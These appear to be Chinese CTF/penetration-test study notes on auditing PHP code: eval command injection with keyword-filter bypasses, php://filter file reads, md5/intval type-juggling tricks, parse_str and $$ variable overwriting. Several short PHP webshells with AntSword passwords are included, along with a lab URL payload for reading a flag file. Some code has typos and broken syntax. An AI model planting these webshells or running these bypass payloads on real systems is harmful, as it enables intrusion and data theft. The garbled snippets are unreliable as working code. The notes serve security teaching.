一、代码审计
<?php
error_reporting(0); //降低敏感性,让页面不报错
if(isset($_GET['c'])){ //如果存在GET传输的一个c参数
$c=$_GET['c']; //c等于GET传输的c
if(!preg_match("/flag/i",$c)){ //如果正则匹配到flag的话,就不执行下一句
eval($c);
} //感叹号为负,if里面要是真命题才会执行eval($c),所以不能匹配到flag
也就是说,c里面有flag就不会执行eval($c)
1、可使用c=phoinfo(),c=system(),c=system("ls/tmp"),c=system("cat/tmp/flag.php")
此时不会成功,因为过滤了flag,可使用通配符?绕过,也可使用 *
2、也可传c=eval($_GET[w]);&w=system("cat/tmp/flag.php");flag对c过滤,c和w被&分开了
eval用于执行代码层面的(字符串)命令,相当于eval("eval($_GET[w])");所以会按照代码执行
如果消掉里层的eval,就只是接收一个GET的值,不会进行任何操作
3、也可直接传c=system($_GET[w]);&w=cat/tmp/flag.php;
4、以base64编码带出,然后解码即可
c=include($_GET[w]);&w=php.//filter/convert.base64-encode/resource=/tmp/flag.php;
5、c=echo`ls`; 反引号在PHP中用于执行操作系统层面内容,与system同级,但反引号结果不回显
//tmp是临时文件,一般来说,可读可写
}else{
highlight_file(_FILE_);
}
通杀解法
c=eval($_GET[w]);&w=phpinfo();
c=eval($_GET[w]);&w=system("cat/tmp/flag.php"); eval可改为system,include
二、命令执行payload变形
<?php
error_reporting(0); //降低敏感性,让页面不报错
if(isset($_GET['c'])){ //如果存在GET传输的一个c参数
$c=$_GET['c']; //c等于GET传输的c
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i",$c)){
//如果正则匹配到flag的话,就不执行下一句
1、过滤的关键字及符号很多,可以直接通杀
//c=eval($_GET[w]);&w=phpinfo();
//c=eval($_GET[w]);&w=system("cat/tmp/flag.php"); eval可改为system,include
2、高阶解法————%09是PHP代码层面的,$IFS$9是在操作系统使用的
//c=echo%09`more%09/tmp/fl*`; c=echo%09`tac%09/tmp/fl*`; strings也可以使用
eval($c);
}
}else{
highlight_file(_FILE_); //
}
三、命令执行和通配符绕过
<?php
error_reporting(0); //降低敏感性,让页面不报错
if(isset($_GET['c'])){ //如果存在GET传输的一个c参数
$c=$_GET['c']; //c等于GET传输的c
if(!preg_match("/\;|cat|flag|[0-9]|\*|more|less|wget|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\'|\%|\x09|\x26|\>|\<|/i",$c)){
//如果正则匹配到flag的话,就不执行下一句
eval($c);
$d=system($c);
echo"<br>".$d;
}else{
echo'no';
}else{
highlight_file(_FILE_);
}
虽然过滤很多,仍能读取到flag文本,根据限制选择合适方式绕过即可——http://123.60.47.130:10031/rec/rec3.php?c=cat/${IFS}/tmp/fl?a.php,其中cat被过滤,可使用绝对路径然后就可以使用通配符——?c=/bin/c?t/${IFS}/tmp/fl?a.php
linux万物皆文件,bin命令下也有很多的命令,其本质仍为文件,只是被赋予了可执行的权限
四、php中读文件&命令执行函数
system()函数
蚁剑连接密码:nosery
<?php
echo "<pre>";
system($_POST["nosery"]);
?>
exec()函数(PTE考点)
无回显,需要echo()打印;如果不打印也可重定向同级目录下的1.txt——重定向有两种:> 是覆盖,>> 是追加
<?php
exec(command:"ls" >> 1.txt);
?>
passthru()函数(与system同级)
passthru — 执行外部程序并且显示原始输出
蚁剑连接密码:cmd
<?php
@passthru($_POST['cmd']);
?>
cmd=ipconfig 即可显示信息
shell_exec()函数
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
蚁剑连接密码:cmd
<?php
echo "shell_exec($_POST['cmd'])";
?>
无回显,shell_exec(cmd:"ls");
ls()函数(与system同级)
读文件函数——直接读取flag,点击页面源代码
<?php
echo file_get_content("flag.php");
?>
文件高亮,读文件
五、intval()函数绕过
<?php
include("flag.php");
highlight_file(_FILE_); //高亮显示——因为有这句话,下面内容才会显示出来
if(isset($_GET['num'])){ //如果存在num,必须GET传输,然后赋值
$num=$_GET['num'];
if(preg_match("/[0-9]/",$num)){ //正则匹配,有纯数字,die并输出no no no!
die("no no no!")
}
if(intval($num)){
echo$flag;
} //intval()函数——用于获取变量的整数值,当num为一个非空数组,intval($num)为1,打印flag
}
传参为?num[]= —— num是个数组,size为1,下标为0时值为空
作业
<?php
include("flag.php");
highlight_file(_FILE_); //高亮显示——因为有这句话,下面内容才会显示出来
if(isset($_GET['num'])){ //如果存在num,必须GET传输,然后赋值
$num=$_GET['num'];
if(num==="4476")){ //正则匹配,数字值为4476,die并输出no no no!
die("no no no!")
}
if(intval($num,0)===4476){
echo$flag;
}else{
echo intval($num,0);
}
}
首先判断数字不等于4476——使之执行到flag处,后面判断传参转换后是4476才会出flag
1、可以使用八进制和十六进制转换 ?num=010574 ?num=0x0117c
2、直接使用小数 ?num=4476.1, ?num=4476w
六、php弱类型特性及审计
php不用和C、Java一样,赋类型和初值,语言越底层速度越快
php 三个等于号和两个等于号(比较)的区别
两个等于号属于弱类型校验,只校验值,不校验类型:4476和4476w一样——强转为int
三个等于号属于强类型校验,值和类型都会校验:4476和4476w不一样——类型不一样
<?php
include("flag.php");
highlight_file(_FILE_); //高亮显示——因为有这句话,下面内容才会显示出来
if(isset($_POST['a'] and isset($_POST['b'] )){
if($_POST['a']!=$_POST['b'])
if(md5($_POST['a'])==md5($_POST['b']))
echo$flag;
else
print 'wrong.';
}
a和b不一样,但是md5编码之后一样才会打印flag————md5加密结果不可逆,值不相等的,加密也不会相等
但是md5处理数组都会返回null,eg:md5(a[])就会返回null
所以传输两个不同的数组:?a[]=1&b[]=2
php处理hash字符串时,会利用!=和==来对hash值进行比较,他对每个以0e开头的哈希值解释均为0
两个不同的密码通过哈希值之后均以0e开头的话,php认为他们相同,都为0————0e科学记数法,所有都为0
如——s878926199a、s155964671a、s214587387a等
- md5相同——md5处理数组都会返回null,eg:md5(a[])就会返回null——a[]=1 & b[]=2
- php校验相同:对每个以0e开头的哈希值均为0——a=s878926199a & b=s155964671a
- php校验不同,md5相同————a[]=s878926199a & b[]=s155964671a——强校验时:数组绕过,但数组的值要不一样
非数字绕过123w,弱类型——123456w和123456一样,但在is_numberic下不一样
七、parse_str()函数变量覆盖
parse_str()函数:把查询字符串解析到变量中,一般有两个参数,如果没有第二个参数,那么第一个参数就会成为变量,将会覆盖掉存在的同名变量
1、只有一个参数——按键值对直接赋值
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>
2、有两个参数——按键值对赋值后放入后面参数表示的数组
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>
例题审计
<?php
highlight_file(_FILE_);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1=$_POST['v1'];
$v3=$_GET['v3'];
parse_str($v1,$v2); //parse_str有两个参数,属于赋值后放入数组——故v2=v1
if($v2['flag']==md5($v3)){
//由于参与传参的只有v1和v3,所以只要get传的v3和post的v1相同即可拿到flag
1、?v3=1 v1=flag=md5编码后的1
2、?v3[]=12345 v1=null v3传数组,经md5后为空,v1传参也为空,故两者相等
echo $flag;
}
}
八、$$变量覆盖
<?php
highlight_file(_FILE_);
include('flag.php');
error_reporting(0);
$error='你想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ //foreach()函数:接收所有的GET传参,按照键值对打印出来
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value; //
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
//由于不知道flag的值,所以此处必死,然后打印$error——可使error=flag
die($error);
}
echo "you are good".$flag."\n";
die($suces);
?>
get传参a=1&b=2,$$key=$$value; 则有$a=$$key,得a=$key=1————————$$key=$a=$1
同理$$value=$b=$2
使$a=$c,$c=$d——————同理使flag=xxx=error
a=error
flag=a
对角线赋值——也就是说flag=a=a=error,在不改变顺序的情况下拼接就能相等
代码审计作业
Json(JavaScript Object Notation)格式为:key : value
- Json的键必须加双引号
- 值——数字、布尔值、字符串(加双引号)、数组(加中括号)、对象(加大括号)
<?php
show_source(_FILE_);
$v1=0;
$v2=1;
$a=(array)json_decode(@$_GET['w']); //接收json格式解码后传入数组————故传参也要json格式
if(is_array($a)){
is_numeric(@$["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
var_dump($a["bar1"]);
$ww=$a["bar1"]>2020;
var_dump($ww);
($a["bar1"]>2020)?$v1=1:NULL;
}
if(is_array(@$a["bar1"])){
if(count($a["bar2"])!=5 OR !is_array($a["bar"][0]))
die("nope");
$pos=array_search("cisp-pte",$a["bar3"]);
$pos=false ? die("nope"):NULL;
foreach($a["bar2"]) as $key =>$val){
$val==="cisp-pte"?die("nope"):NULL;
}
$v2=1;
}
}?>